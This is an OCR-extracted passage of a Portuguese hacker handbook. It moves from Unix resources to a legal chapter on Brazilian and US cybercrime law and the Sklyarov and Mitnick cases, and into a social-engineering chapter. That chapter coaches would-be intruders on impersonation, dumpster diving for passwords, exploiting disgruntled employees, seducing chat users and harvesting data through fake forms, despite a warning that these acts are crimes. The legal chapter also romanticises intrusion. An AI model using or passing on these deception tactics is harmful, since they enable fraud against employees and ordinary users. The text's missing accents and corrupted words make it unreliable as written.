sistema operacional. O problema do Linux sua triste falta de padres. Existem centenas de distribuies ao redor do globo, cada uma com uma estrutura interna - incluindo hierarquia de diretrios - prpria. Como frisamos no incio do captulo, a base dos Unix seu sistema de arquivos. Isso resulta em sistemas que, apesar de possurem o. mesmo kernel, so incompatveis entre si. O padro Linux Standard Base ou LSB (www.linuxbase.org) um esforo das maiores distribuies do mundo para resolver o problema. Acredita-se que em poucos anos haja compatibilidade total entre todas as distribuies que aderirem ao padro. Para saber mais sobre o GNU/Linux, o melhor ponto de partida o site oficial, www.linux.org. Para mais informaes, basta procurar por ele em seu mecanismo de busca favorito. O Google possui um endereo dedicado a Linux em www.google.com/linux. H revistas especializadas que podem ser consultadas, entre elas a Revista do linux, a Arquivo linux, a linux BR, e muitos bons livros podem ser encontrados em livrarias. Mas no deixe de estud-lo. obrigatrio!

o diabinhoque ri...
Linux no suficiente pra voc? Quer saber uma segunda opinio? Experimeite as variantes livres do Unix da Universidade de Berkeley. Com suas licenas menos restritivas que a GPL,os sistemas *BSDpodem ser usados em solues que a licena do GNU/Linux no permitiria. Cada um tem suas caractersticas, e uma leitura em seus sites oficiais certamente o deixar tentado a experiment-Ios. Muitos usurios dos *BSD(especialmente do FreeBSD) saram do Linux e dizem que no voltam mais. Informaes sobre o BSD podem ser obtidas em:
~ FreeBSD ~ NetBSD

- www.freebsd.org

~ OpenBSD - WWTv.openbsd.org

- www.netbsd.org

~ O BSD comercial da BSDi - www.bsdi.com

1108 I
Plataforma Unix [

Universidade 1ano

Nestas poucas pginas, tentamos introduzir os princpais conceitos dos sistemas Unix. H livros inteiros escritos apenas sobre partes do Unix, portanto, seria imprudente (e desonesto) tentar condensar em um captulo o contedo de vrios deles. Mas muito importante que o leitor estude sobre Unix com afinco e procure outros livros e outras fontes. Visite regularmente todos os sites indicados ao longo do captulo e vasculhe-os completamente. Nada to poderoso na mo de um hacker quanto uma conta em um computador Unix ligado Internet.

Vou can go on your own way...11

11 Fleetwood Mac, do lbum Rumours de 1975.

1109I

] Plataforma

Unix

Jurdicos
Captulo
'An nescis longas regibus esse manus
?"I

Fundamentos

Ovdio,em Herodes, 17:166

1 No sabes como as mos dos reis so compridas? Um ditado popular francs Oes rois ont les bras longs - os reis tm os braos longos) derivado desse trecho das Herodes.

I Universidade

H4CK3R I

Se voc est lidando com situaes-limite, nunca demais ter uma viso geral dos aspectos jurdicos que as afetam diretamente. Poucas situaes so to limtrofes quanto as enfrentadas pelos usurios de informtica em geral e pelos hackersl em especial. O que crime? O que direito? O conhecimento uma das principais armas do hacker, que deve estar atento aos movimentos feitos pelos governos e s polticas institudas pelas empresas quanto manipulao de dados. A ignorncia em relao s leis pode trazer srios problemas, mesmo em casos simples em que o usurio age de forma inocente sem saber que est cometendo um crime. Estar atento aos casos que j ocorreram, para que no haja nenhuma dvida de onde e como agir, no mnimo uma atitude sbia. A palavra legislao nos d uma vaga idia de estar lidando com o bem e o mal. H uma grande discusso sobre a relatividade desses conceitos, mas devemos ter em mente que a tica que rege o possvel contedo dessas leis parte da necessidade de proteo das empresas e dos governos. Nem sempre as leis so feitas para o cidado, nem sempre o que legal moralmente correto. Portanto, os indivduos que a imprensa simplria costuma chamar de hackers nem sempre podem ser tachados de bandidos, embora, segundo a lei, geralmente incomun em crimes por ela previstos. Robin Hood era criminoso, mesmo agindo segundo princpios morais extremamente elevados. As grandes estratgias para o combate aos cibercrimes comearam a ser elaboradas aps os atentados terroristas ocorridos nos Estados Unidos no dia 11 de setembro de 2001. Desde ento o governo norte-americano passou a ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros governos leis que facilitem a ingerncia dos Estados Unidos nesses assuntos; e, "de quebra", em todos os outros...

Por que a sociedade teme os hackers?


Para a sociedade, a imagem dos hackers est intimamente ligada ao crime. Esse esteretipo vem da falta de compreenso do universo digital em que esto inseridos. Eles so vistos como destruidores e ladres de dados, que se utilizam de meios ilcitos para roubo, vandalismo ou lavagem de dinheiro. Muito dessa imagem fruto da divulgao mope promovida pelos meios de comunicao. Nunca o outro lado, o lado do underground, o lado da guerrilha, o lado da resistncia, levado em conta. Apenas as empresas e os governos, alguns deles autoritrios (embora travestidos de democrticos), tm espao na mdia quando um evento desses acontece. A pergunta que fica : voc realmente acredita em tudo o que l? Talvez o jornal televisivo das 21h no seja aquela fonte confivel de informao que voc est acostumado a pensar que era.

2 Fntenda apalavrahacker nessepargrafo tanto em seu senddo origimJl (especiaJista)como no popular (especia1ista malvado). Ambos devem saber at onde podem ir, e deddir se vo tr.msgredir ou no os (nem sempre justos ou moralmente corretos) limites legais.

1112I
Fundamentos Jurdicos [

Universidade 1 ano

As liberdades individuais e o direito privado


Ningum tem direito de invadir a privacidade das pessoas. Mesmo parecendo bvio, afirmaes como essas tm de ser includas em qualquer documento ou lei que trate das garantias de inviolabilidade privada. As constituies de quase todos os pases possuem algum dispositivo semelhante, e mesmo a Declarao Universal dos Direitos Humanos prev a proteo vida pessoal e privada das pessoas j em seus primeiros pargrafos. O que tristemente vemos acontecer todos os dias, desde o fim da 23 Guerra Mundial, um recrudescimento das leis nacionais buscando um maior controle dos governos sobre seus cidados. Todos os dias, desde ento, novas tecnologias so aplicadas em controversos e arbitrrios sistemas de monitorao. Com a desculpa de que "a polcia precisa fazer seu trabalho", muitas pessoas durante todo o sculo XX tiveram seus telefones grampeados, suas correspondncias violadas, seus passos seguidos e, nos anos 90, sua atividade na Internet vigiada. Quantos segredos pessoais - mesmo no sendo crimes - no foram revelados publicamente por conta dessa arbitrariedade? Alguns pases comearam a chamar para si a responsabilidade de ser a "polcia do mundo" e, para tanto, at hoje submetem outros governos menos poderosos s suas polticas. Fingindo estar caa de terroristas ou de proteger o mundo contra indivduos perigosos (e jogando num mesmo caldeiro hackers,
terroristas, guerrilheiros e comunistas

quem

no se lembra

da guerra

fria?),

naes poderosas violam a soberania de pases e impem suas cartilhas comerciais e polticas. Bela maneira de disfarar segundas intenes, no mesmo? Longe de entrar nessa discusso poltica, os autores querem chamar a ateno do leitor para o perigo incipiente da aprovao de leis ou mesmo constitues elaboradas para proteger os interesses de terceiros e no dos cidados. Pergunte a um advogado sobre o assunto. Voc ficar surpreso com a quantidade de garantias que empresas estrangeiras possuem aqui no Brasil em detrimento das necessidades bsicas dos cidados, sempre deixadas em segundo plano. Toda moeda tem dois lados. H hackers agindo com conduta duvidosa. H gente muito bem treinada bisbilhotando seus segredos em casa ou no trabalho. H vndalos que fazem tudo pelo prazer de destruir. Assim como h governos e empresas com intenes no muito nobres, h hackers (e no so poucos) que so, realmente, criminosos e devem ser punidos por isso. Fazer leis que protejam indivduos e entidades pblicas e privadas desses "hackers do mal" sem ferir os direitos de privacidade das pessoas uma tarefa dificlima.

1113

] Fundamentos

Jurdicos

I Universidade

H4CK3R

o direito informaoe os ataques liberdade


J que no podemos confiar em governos e suas leis, por que ento disparar flechas acusadoras sobre pessoas que o establishment considera como criminosas? Usando o bom senso3 , qualquer um na rua perceberia que uma pessoa como Dmitry Sklyarovno teve a inteno de prejudicar uma empresa como aAdobe, mas sim alertar os possveis usurios e a prpria Adobe que seu sistema de criptografia era (e ainda ) fulho. Mas a empresa no entendeu dessa forma, e usou os dispositivos legais previstos pelo Digital Millenium Copyright Act, o fmigerado DMCA, para process-lo. Esse um dos muitos casos de leis injustas ou malidosas que trabalham em favor de governos ou grandes empresas e contra o interesse comum. hnagine empresas e indivduos confiando cegamente na criptografia da Adobe para proteger seus documentos, sejam eles segredos industriais ou correspondndas amorosas. Com esse processo contra o hacker russo, a Adobe tentou varrer para debaixo do tapete os problemas de sua tecnologia, em vez de agradecer a Sklyarov ou mesmo contrat-Io para melhor-Ia. Alguns meses depois, todos os sites de noridas de tecnologia divulgaram a tentativa da Microsoft de transformar em crime a divulgao de f.1hasde software por "agentes no autorizados" (leia-se:eu e voc). Com o pretexto de que as divulagaes de f.1has "atrapalham a inovao", tentativas como essas procuram institudonalizar a sujeira sob o tapete. Tal iniciativa, na poca, no resultou em uma lei. Mas no espere que a turma de Redmond tenha desistido da idia. No s as empresas so beneficiadas por essas aberraes legais. A atual administrao federal dos Fstados Unidos da Amrica divulgou um documento chamado de Doutrina Bush, que escancara a supremacia norte-americana e fere de fonna pornogrfica os direitos de ddados no mundo todo e as soberanias de todos os pases do globo. Todos os governos e a maioria das grandes empresas manipulam ou escondem informaes e criam leis para tornar isso legal, mesmo que as informaes sejam sobre voc, caro leitor, ou o afetem de alguma forma. Portanto, na prxima vez em que um hacker invadir um site do governo ou empresa e divulgar informaes escabrosas sobre a administrao que voc pode ter ajudado a eleger, reflita bastante e use o seu bom senso (e no o senso comum) para decidir quem o mocinho e quem o bandido. Mas e os hackers realmente maus? E as situaes no- previstas? E os hackers "por addente"?Toda histria tem dois lados,e o moralmente correto nem sempre o que est dentro da lei. Mas algumas vezes est."No julgueis,para que no sejais julgados. Pois com o critrio com que ju1gardes,sereis julgados... Portanto, tudo quanto, pois, quereis que os homens vos faam, assim fazei~ vs tambm a eles..:' (Evangelho de So Mateus 7:1,2,12).
3 Na
escolinha de ingls aprendemos que anossa expresso "bom senso"rraduz-6e como "common sense"em ingls.Numa lraduio literal,

o common sensedosnorte-americanos

pode serescrito como senso comumA

dikrena entre ambas asronnas,enrretanto,no

apenas literal.

Os povos latinos, europeus, ali'icanos e asiticos tm essa noio de bom senso: mdocina.t primeiro at encontrar" uma soluio lgica, usando a sabedoria popular. J o common sense tem uma conotao dikrente:usaras convenes j prontas presentesna cultura estadunidense,sem "parar paIa pensar".Portanto, bom senso igual a pensatantes de agir.J common sense sinnimo de idia pr<:oncebida...

1114

Fundamentos

Jurdicos

Universidade 1ano

o grande tnrnfo dos hackers brasileiros a falta de legislao apropriada para lidar com os crimes eletrnicos. A falta de leis especficas torna o Brasilrun verdadeiro paraso para todo o tipo de invaso e manipulao ilcita de dados. As punies aplicadas so baseadas em leis que se aproximam da situao do crime eletrnico. Grande parte dos casos resolvidos pelas autoridades nacionais relativa a casos de pirataria e pedoftlia, e no invaso e "hackeamento" de sistemas. A falta de proteo legal preocupa muito o governo e as grandes empresas, pois estas so obrigadas a gastar quantias elevadas de dinheiro com softwares e equipamentos para garantir a segurana de seus dados, e mesmo assim no conseguem evitar a ao dos vndalos digitais. Preocupados com a situao, vrios deputados formularam projetos de lei para deter a ao dos invasores. Mas devido ao lento processo de aprovao, total ignorncia dos parlamentares em relao ao assunto e s diversas correes e alteraes que devem ser feitas at que tudo esteja adequado, os hackers podem continuar utilizando suas habilidades para continuar suas pesquisas. A seguir, temos run trecho especfico do projeto de lei criado pelo deputado Dcio Braga que trata dos crimes de informtica:

A legislao brasileira

"Dispe sobre os crimes de informtica e d outras providncias"


CAPiTULO III DOS CRIMES DE INFORM TICA Dano a dado ou programa de computador Art. 8.Apagar,destruir,modiflcar ou de qualquer forma inutilizar,total ou parcialmente, dado ou programa de computador, de forma indevida ou no autorizada. Pena: deteno de um a trs anos e multa. Pargrafo nico. Se o crime cometido: I - contra o interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; 11- com considervel prejuzo para a vtima; m - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; W - com o uso indevido de senha ou processo de identificao de terceiro; ou WI - com a utilizao de qualquer outro meio fraudulento. Pena: deteno de dois a quatro anos e multa. Acesso indevido ou no autorizado Art. 9. Obter acesso, indevido ou no autorizado, a computador ou rede de computadores.
1115
I

Fundamentos

Jurdicos

I Universidade

H4CK3R

Pena: deteno de seis meses a um ano e mu1ta. Pargrafo primeiro. Na mesma pena incorre quem, sem autorizao ou indevidamente, obtm, mantm ou fornece a terceiro qualquer meio de identificao ou acesso a computador ou rede de computadores. Pargrafo segundo. Se o crime cometido: I - com acesso a computador ou rede de computadores da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; II - com considervel prejuzo para a vtima; 111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou WI - com a utilizao de qualquer outro meio fraudulento. Pena: deteno de um a dois anos e multa. Alterao de senha ou mecanismo de acesso a programa de computador ou dados Art. 10.Apagar, destruir, alterar, ou de qualquer forma inutilizar, senha ou qualquer outro mecanismo de acesso a computador, programa de computador ou dados, de forma indevida ou no autorizada. Pena: deteno de um a dois anos e multa. Obteno indevida ou no autorizada de dado ou instmo de computador Art. 11. Obter, manter ou fornecer, sem autorizao ou indevidamente, dado ou instruo de computador. Pena: deteno de trs meses a um ano e mu1ta. Pargrafo nico. Se o crime cometido: I - com acesso a computador ou rede de computadores da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; 11- com considervel prejuzo para a vtima; 111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou WI - com a utilizao de qualquer outro meio fraudu1ento. Pena: deteno de um a dois anos e mu1ta.

1116I
Fundamentos Jurdicos [

Universidade 1ano

Violao de segredo armazenado em computador, meio magntico de natureza magntica, ptica ou similar. Art. 12. Obter segredos, de indstria ou comrcio, ou informaes pessoais armazenadas em computador, rede de computadores, meio eletrnico de natureza magntica, ptica ou similar, de forma indevida ou no autorizada. Pena: deteno de um a trs anos e multa. Criao, desenvolvimento ou insero em computador de dados ou programa de computador com fins nocivos Art. 13. Criar,desenvolver ou inserir, dado ou programa em computador ou rede de computadores, de forma indevida ou no autorizada, com a fmalidade de apagar, destruir, inutilizar ou modiflcar dado ou programa de computador ou de qualquer forma diflcultar ou impossibilitar, total ou parcialmente, a utilizao de computador ou rede de computadores. Pena: recluso de um a quatro anos e multa. Pargrafo nico. Se o crime cometido: I - contra interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; 11- com considervel prejuzo para a vtima; III - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; VI- com o uso indevido de senha ou processo de identiflcao de terceiro; ou VII - com a utilizao de qualquer outro meio fraudulento. Pena: recluso de dois a seis anos e multa. Veiculao de pornografia atravs de rede de computadores Art. 14. Oferecer servio ou informao de carter pornogrfico, em rede de computadores, sem exibir, previamente, de forma facilmente visvel e destacada, aviso sobre sua natureza, indicando o seu contedo e a inadequao para criana ou adolescentes. Pena: deteno de um a trs anos e multa. Como podemos notar, o projeto abrangente, lidando com assuntos que vo desde invases at a criao de vrus e programas que possam danificar dados alheios. Com certeza, a "nao hacker" teria a maioria dos seus atos coibida caso a lei estivesse em vigor. Mas, alm do processo de aprovao da lei, o governo tem de prover condies para que elas sejam executadas.

1117I

] Fundamentos

Jurdicos

I Universidade

Leis internacionais aps o dia 11 de setembro de 2001


Nos Estados Unidos da Amrica
Aps o fatdico dia 11 de setembro de 2001, caracterizado pelos atentados ao WorldTrade Center e pentgono, muita coisa mudou em relao vida dos hackers no mbito internacional. No mesmo dia em que os avies derrubaram as torres do WTC, os agentes do FBI j intimavam os maiores provedores de acesso a instalarem o software Carnivore, conhecido pela sua capacidade de ftltrar mensagens de e-mail em busca de palavras e expresses relacionadas ao atentado. Alm disso, o governo americano diminuiu os entraves judiciais para o uso de escutas telefnicas, eliminou a necessidade de provas e at revogou a lei que proibia a CIA de organizar assassinatos contra inimigos externos. Estudos realizados pelo Pentgono sobre o ciberterrorismo mostraram que ataques de crackers poderiam parar o pas, j que os reservatrios de gua, energia eltrica e gs so controlados por centros de computao que podem ser invadidos remotamente de maneira ridiculamente fcil. Uma das leis criadas pelo departamento foi a USA Act, que possui uma seo especial voltada para o ciberterrorismo. O USA Act prev punio para toda forma de vandalismo eletrnico que possa atingir empresas e cidados, incluindo invases vindas de outros pases. Isso significa que, se rastreado, o invasor ser punido de acordo com as leis internacionais. Com as novas leis e medidas americanas, os legisladores americanos transformaram milhares de crackers e hackers em terroristas por definio. Um dos pargrafos da PATRIOT (provide Appropriate Tools Required to Intercept and Obstruct Terrorism Act) diz o seguinte: aquele que, com conhecimento, cause transmisso de um programa, informao, cdigo ou comando e, como resultado de tal conduta, intencionalmente cause dano sem autorizao, para um computador protegido [estar em violao deste estatuto]. Isso significa que, como foi dito antes, hackers viraram terroristas para os americanos. Como se j no fosse suficiente, ser considerado terrorista praticamente significa priso perptua. Est em elaborao um conjunto de novas leis (na verdade a ratificao legal da Doutrina Bush) chamado de Homeland Security Act, que promete endurecer o cerco aos inimigos dos Estados Unidos em todas as frentes: militar, comercial, armamentista, poltica e digital. Espere para ver em breve aes paramilitares norte-americanas em outros pases visando prender ou assassinar pessoas acusadas de hackerismo. A lei americana pode funcionar como um modelo para definir os padres mundiais que so discutidos anualmente pela Interpol, que criou uma diviso especial, a Unidade de Crimes de Alta Tecnologia, para combater os crimes eletrnicos. 1118

Fundamentos Jurdicos[

Universidade 1ano

Na Europa
A maior parte dos grupos europeus tomou medidas semelhantes s dos Estados Unidos. Todas baseadas no rastreamento de informaes pessoais sem qualquer aviso prvio, dando poder aos seus agentes de vasculhar as caixas de mensagens de qualquer provedor. A adoo do padro norte-americano mostra mais uma vez que o mundo est prximo de estabelecer uma forte estratgia de combate aos cibercrimes, o que vai prejudicar muito a ao dos vndalos digitais. Como efeito colateral, ferir tambm alguns direitos e a privacidade de cidados reconhecidamente inocentes ("Mate todos! Um deles terrorista...").

Casos de hackers famosos


Para o governo eles so criminosos. Para a nao hacker, heris. Vamos apresentar dois dos casos mais conhecidos de aplicao de leis contra os crimes eletrnicos. Dmitry Sklayrov e Kevin Mitnick so dois timos exemplos de como as leis internacionais relacionadas invaso, hackeamento de software e utilizao de engenharia social so aplicadas na realidade.

o russo

que "hackeou" a Adobe

o programador russo Dmitry Sklayrov foi acusado de comercializar uma ferramenta que quebra as medidas de segurana do programa Adobe Book Reader logo aps dar uma palestra sobre segurana na DefCon em julho de 2001. O Advanced eBook Processor pode quebrar a senha de segurana criada pela Adobe, transformando um e-book criptografado em um simples PDF.Ele foi enquadrado na lei que visa a proteo do direito intelectual para os produtos digitais, o Digital Millenium Copyright Act, dispositivo horrendo e nazista mais conhecido como DMCA. A parte mais estranha que a prpria Adobe decidiu retirar as acusaes. As crticas internacionais e as ameaas de boicote foram os principais motivos que fizeram com que a empresa fizesse uma reviso de conscincia. Apesar disso, a situao de Dmitry no melhorou em nada, pois o governo americano no retirou as acusaes. Aps pagar uma multa de US$ 50 mil e ficar detido na Califrnia por cinco meses, o russo obteve a liberdade por meio de um acordo em que apoiaria o governo norte-americano. A condio imposta foi a de ficar sob observao durante um ano, e s ento ele seria absolvido completamente.

1119
I

Fundamentos

Jurdicos

I Universidade

H4CK3R I

o hacker mais famoso do mundo


Um dos maiores dolos da nao hacker. A histria de Kevin Mitnick com certeza daria material para uma verdadeira enciclopdia. Em 1989 foi procurado pelo FBI acusado de roubar um software secreto de pesquisa da Digital Equipment Corpo E a Corte norte-americana decretou que o hacker seria preso sem direito fiana. A Corte justificou dizendo que ele representava uma ameaa comunidade e mesmo segurana nacional ao utilizar um teclado. Aps um ano de priso, Mitnick foi posto em liberdade, mas em pouco tempo j estava violando os termos de sua condicional. Em 1992 era suspeito de ter crackeado sistemas de informtica e obter acesso aos registros do FBI.Em novembro do mesmo ano, Mitnick desapareceu misteriosamente sem deixar rastros. As autoridades achavam que ele estaria usando falsas identidades para se esconder. Em 1994, o hacker se deparou com o especialista em segurana Tsutomu Shimomura, do Centro Nacional de Supercomputao, em San Diego, na Califrnia. Ele havia alterado o sistema pessoal de Shimomura, que ficou indignado, pois se considerava um dos melhores especialistas em segurana do pas. Mitnick ganhou acesso por meio de um computador da Loyola University, de Chicago, autorizado a mandar informaes para a mquina do especialista. A partir desse ponto, foi armado um esquema em conjunto com o FBI para encontrar o hacker. Shimomura instalou um computador para monitorar todas as aes realizadas em seu prprio equipamento. Mitnick no fazia idia da operao montada e continuou com os ataques. No dia 15 de fevereiro de 1995, foi localizado. Ele passou cinco anos na cadeia aps invadir empresas como a Motorola e a Nokia. Durante esse tempo uma legio de fs lutou por sua liberdade, organizando movimentos como o Free Mitnick. Ele ainda sofreu 23 acusaes federais de fraude no sistema telefnico por uso ilegal de componentes de acesso para evitar tarifas, alm de ser considerado como "terrorista da informtica" pelo governo americano.

1120

I
Jurdicos r

Fundamentos

Engenharia 8

Gela
Captulo
Pink Floyd,"Dogs

For hard cash we wil! fie and deceive. And even our masters don 't know the webs we weave "7 of War"

"Por

dinheiro

g-rosso

nos

InentireulOs

eng-anareInos.

E nem

nossos Inestres sabeuJ das teias que teceIIlos ':

Do tilbum A Momentary

Lapse of Ileason,1987

I Universidade H4CK3R I

Este captulo bem curto, se comparado com os outros, menos tcnicos. Tambm aparentemente o mais distante do que se espera de um livro como este. Mas no se engane: as informaes aqui contidas so as mais importantes de todo o livro. Um ataque muito complicado pode se transformar em algo simplssimo, caso a engenharia social seja empregada. Portanto, antes de quebrar a cabea com solues puramente tecnolgicas, pense primeiro que enganar o alvo e faz-Iotrabalhar para voc pelo lado de dentro muito mais rpido. O objetivo das tcnicas aqui apresentadas a aquisio de informaes vitais sobre o alvo escolhido. Por informaes vitais, alm das bvias como dados fmanceiros, pessoais e hierrquicos, entende-se as idiossincrasias tcnicas e polticas da empresa: instalaes fisicas e lgicas, topologias de rede, polticas de senhas e chaves de criptografia. O termo engenharia social pode parecer num primeiro momento algo distante do universo hacker. Basicamente, significa a "garimpagem" de informaes vitais sobre uma determinada pessoa, empresa, produto ou organizao. Essas informaes so provenientes quase sempre de pessoas prximas ao indivduo a ser atacado ou do prprio quadro de funcionrios e clientes - no caso de empresas. Dessa forma, podemos encarar o termo como sinnimo de espionagem, que utiliza tticas que vo desde cartas e telefonemas, passando por pesquisas nos depsitos de lixo at a abordagem pessoal. As tcnicas de engenharia social exigem uma preparao psicolgica profunda e contnua. O candidato a invasor deve estar pronto para estudar o comportamento do seu alvo e entender melhor seu modus operandi, incluindo at o monitoramento de horrios. Mesmo com investimentos pesados na rea de segurana, grande parte das empresas (seno todas) no est preparada para lidar com esse fator. Lembre-se de que o espio usar a boa vontade, a cortesia, a ingenuidade das pessoas e mesmo as normas da empresa para enganar as vtimas.

Atenco: isso crime!


I

O mundo da engenharia social parece ser algo muito tentador. Mas, diferente dos crimes digitais, que no possuem uma legislao bem definida no pas, todas as tcnicas citadas so consideradas crimes passveis de punio, que vo desde o pagamento de multas at a deteno. A interpretao legal baseia-se na configurao dos atos de engenharia social como falsidade ideolgica, caracterizada pela incorporao de uma identidade alheia (impostura) seguida de fraude. Dependendo do destino dado s informaes recebidas (por exemplo, em caso de fraude financeira), o invasor responder tambm pelo crime de estelionato. O propsito deste captulo demonstrar superficialmente as tcnicas utilizadas na engenharia social. importante que todos conheam essas tcnicas, mas no recomendamos a ningum utiliz-Ias: pelas leis brasileiras e da maioria dos pases elas so consideradas prticas criminosas, com punies bem severas.

11241
Engenharia Social[

Universidade 1Ano

Tipos de ataque
Existem basicamente dois tipos de ataques: o direto e o indireto. A eficincia deles depende das habilidades pessoais do hacker e do quanto ele se identifica com os processos. Normalmente, necessrio utilizar uma combinao de ambos para obter o resultado desejado. Para chegar abordagem direta, o invasor deve ter conseguido uma bela coleo de informaes obtidas de modo indireto. S assim poder "saber do que est falando" quando abordar um funcionrio do teleatendimento para conseguir uma senha de acesso ao sistema ou enviar aquele fax dizendo que o gerente da filial solicitando informaes.

Ataque indireto
o ataque indireto consiste na utilizao de ferramentas de invaso (como cavalos de tria e sites com cdigo malicioso) e de impostura (como cartas, e-mails e sites falsos com a aparncia dos verdadeiros) para obter informaes pessoais. Os usurios individuais de quem o hacker extrai os dados so apenas vetores para a coleta de informaes de uma entidade maior - empresa, organizao ou governo. Sua inteno no atacar cada um desses usurios, e sim o organismo maior ao qual elas pertencem.

Ataque direto
So caracterizados pelo contato pessoal. Geralmente so feitos por fax ou telefone (embora hackers mais confiantes ousem faz-Ios pessoalmente...) e exigem planejamento detalhado e antecipado, vrios planos de emergncia para cada uma das fases do ataque previamente planejadas e um pouco de dom artstico. Sim, um bom invasor tem a obrigao de ser bom ator. Este deve ser bem articulado para que seu plano no seja desmascarado, e tambm ter raciocnio rpido para encontrar sadas caso algo fora do planejado d errado.

Mtodos utilizados
bvio que todo esse falatrio sobre ataques diretos e indiretos extremamente vago. Na prtica, existem algumas tticas simples que devem ser usadas na elaborao do procedimento de ataque. As principais armas de um engenheiro social podem ser divididas em dois grandes grupos: pesquisa e impostura. Comecemos pela pesquisa. A aquisio de material, como relatrios anuais e lista de pagamento, pode dar uma tima viso da hierarquia adotada na empresa. Isso ajuda muito na hora da seleo dos alvos pontuais (lembre-se: um pedacinho de informao extrado de cada usurio resulta em um bolo valiosssimo quando reunido s outras pequenas informaes extradas dos outros usurios). O hacker pode descobrir quem detm o material necessrio para a invaso e outras informaes importantes para o ataque, como departamento em que a pessoa trabalha, softwares utilizados, sistema operacional, hardware e sistemas empresariais.

1125 I
Social

] Engenharia

I Universidade H4CK3R I

Observe que nem sempre os dados teis esto escritos: uma anlise dos resultados de sua busca, compreendendo combinaes e cruzamento de informaes, importantssima. "Ler nas entrelinhas" nunca foi to necessrio... Mesmo assim, a pesquisa s o comeo. Depois de descobrir quem guarda as informaes e quais so elas, o hacker deve pensar nos meios que utilizar para extrair mais dados. nesse ponto que entra a impostura: o hacker deve se fazer passar por outras pessoas (seja da prpria empresa, seja clientes, fornecedores, seja at agentes do governo) para, de posse das informaes j "garimpadas", angariar dados e documentos mais srios, especficos e, principalmente, valiosos. A seguir vamos falar sobre mtodos utilizados para a aquisio de dados vitais das empresas, tanto em ataques diretos quanto indiretos.

Disfarces
Como um bom espio, o engenheiro social deve dispor de diversos disfarces para alcanar seus objetivos. Entre eles devem constar desde se passar por faxineiro at consultor em visita. Certas empresas adoram receber consultores de empresas famosas. Para tanto, basta apenas que o hacker tenha um terno, boa lbia e um crach. O fator idade no mais um problema to grande, pois o perfIl do profIssional de informtica cada vez mais jovem, basta apenas tratar um pouco da aparncia e da linguagem a ser utilizada. A incorporao do personagem um fator de grande importncia para o sucesso. Imagine um hacker disfarado de faxineiro. Ele simplesmente no vai andar at a lata de lixo, separar os papis de seu interesse e virar as costas, ser at estranho se ningum suspeitar. Ele deve fazer todo o servio desde limpar a mesa at varrer o cho, conseguindo mais oportunidades para entender o que acontece ao seu redor. Depois de um certo tempo, as pessoas passam a confIar mais e o invasor pode tranqilamente limpar as mesas repletas de material importante para o desenvolvimento de um ataque bem-sucedido.

o Lixo rico!
o lixo de um escritrio , potencialmente, uma das maiores fontes de informaes para o hacker. Geralmente nele que as pessoas jogam aqueles pedaos de papis em que anotam suas senhas antes de memoriz-Ias ou transcrever para uma agenda. Alm disso, o lixo de uma grande empresa recebe dezenas de relatrios que podem parecer banais mas que, na verdade, guardam informaes sobre o patrimnio da empresa, funcionrios cadastrados e aspectos dos sistemas. A falta de preocupao s com esse fator isolado pode render uma invaso bem-sucedida e ainda ajudar o invasor a limpar seus rastros. Muitas vezes, ele mesmo pode estar l para recolher o lixo da sala do administrador. Obviamente, isso depende muito da percia do hacker e do quanto ele realmente precisa das informaes, caso contrrio, ele pode esperar at que o material seja posto para coleta, o que no seria muito recomendado.

1126 I
Engenharia SocialI

Universidade 1Ano

Funcionrios

descontentes

e redes de contatos

Talvez seja a fonna mais fcil de conseguir infonnaes dentro de uma empresa. Muitas vezes POde rustar um certo valor (nem sempre em dinheiro...), mas isso vai dePender do teor de insatisfao do fundonrio para com a empresa em questo. Explorar a ftagilidade de pessoas insatisfeitas com as condies de trabalho muito mais simples do que POdemos imaginar. muito fcil para o administrador insatisfeito com o salrio falar algo que possa prejudicar seus superiores de alguma fonna. Nem sempre eles so teis aps sarem ou serem demitidos, pois a poltica das empresas a de trocar as senhas. No se deve esquecer que os funcionrios de uma empresa possuem uma rede de contatos, dentro e fora dela. Isso tambm vlido para os descontentes, que podem fornecer ao hacker informaes valiosas sobre outras pessoas e sobre caminhos para chegar a mais dados.

o apelo sentimental
o invasor pode incorporar outra pessoa, com muito mais facilidade, no mundo virtual.Vamos supor que o hacker quer invadir um computador qualquer na Internet. Ele procura uma sala de chat e observa silendosamente a conversa por um tempo. Depois, sai da sala e entra novamente com algum apelido do sexo oposto ao da vtima escolhida. A partir desse ponto fcil conquistar a confiana do internauta e ganhar acesso aos seus dados pessoais mais importantes, usando apenas as tcnicas de seduo e conquista que todos ns conhecemos e que, mesmo assim, fundonam. Observe que homens e mulheres possuem maneiras diferentes de serem conquistados e seduzidos.

Programao

neurolingstica

Ao se comunicar com qualquer pessoa, possvel utilizar tcnicas de programao neurolingstica para confundir a pessoa e faz-la concordar com voc. Consegue-se isso de diversas formas, sendo a mais bvia (e que funciona em quase 100% dos casos) fazer com que a vtima acredite que na realidade a idia foi dela. Uma das tcnicas para

confundir a vtima a chamada acompanha-acompanha-acompanha-comanda:

hacker imita o jeito de escrever, de falar e at a gesticulao de seu interlocutor. Faz isso

por um bom tempo durante a conversa, at que um elo de intimidade se forme e a


vtima pense que est no comando, baixando a guarda. A partir da, o hacker pode comandar a conversa sem que a vtima perceba e sugar dela tudo o que for necessrio.

A utilizao da Internet
Uma forma eficaz de conseguir as informaes desejadas atravs de formul-

rios e cadastros na Internet. Sites que oferecem brindes para quem se cadastrar e promoes que prometem os mais variados tipos de prmios podem no passar de instrumentos utilizados pelos hackers para conseguir uma vasta quantida-

de de informaes sobre os internautas. Entre elas, esto dados pessoais e dicas


sobre o comportamento da futura vtima. Essa tcnica utilizada principalmen-

